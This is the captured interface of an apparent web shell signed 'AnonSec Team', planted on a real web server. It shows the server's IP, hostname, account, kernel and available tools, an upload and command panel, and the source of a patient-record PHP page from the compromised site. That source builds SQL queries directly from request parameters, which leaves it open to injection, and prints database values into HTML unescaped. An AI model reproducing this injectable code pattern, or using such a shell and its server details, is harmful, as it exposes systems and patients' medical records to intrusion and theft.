Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.146.176.145
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//edit_showdressing.php
 <?php session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'header.php';
include 'dashboarddocument.php';
//Code for Registration 
if(isset($_POST['update'])) 
{ 
    	$updated_at=date("F d, Y / h:i:s A");
$sql ="UPDATE Dressing  SET created_at='$_POST[created_at]',updated_at='$updated_at'  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND id='$_GET[id]'";
$sql1 ="UPDATE patient_invace SET created_at='$_POST[created_at]',updated_at='$updated_at'  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND pagetype='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
		    if($qsql = mysqli_query($con,$sql1))
		    {
    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
  }else {
    echo "Sorry, there was an error uploading your file.";
  } 
   
  
}

?>
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
    <form name='update' method='POST'>
  <table id="example2" class="table table-bordered table-hover"> 

<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');

$sql4 ="SELECT * FROM Dressing WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND id='$_GET[id]'";
		$qsql4 = mysqli_query($con,$sql4);
		while($rp = mysqli_fetch_array($qsql4))
		{
		    	$sql1 ="SELECT * FROM site_users WHERE userno='$rp[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
        echo " <tbody>
	                <tr>
                    <td>&nbsp;Timing</td>
                 <td><input type='datetime-local' name='created_at' value='$rp[created_at]' required></td>
                 </tr>
                 <tr>
                    <td>&nbsp;Performed</td>
                 <td>&nbsp;$rp[done]</td>
                 </tr>
                 <tr><td>&nbsp;Created By</td>
                    <td>&nbsp;$re[name]</td>
                    </tr>                   
          
          ";


}

}

?>   
</tbody>
 </table>
 <input type='submit' value='Update' name='update'>
 </form>

Anon7 - 2022
AnonSec Team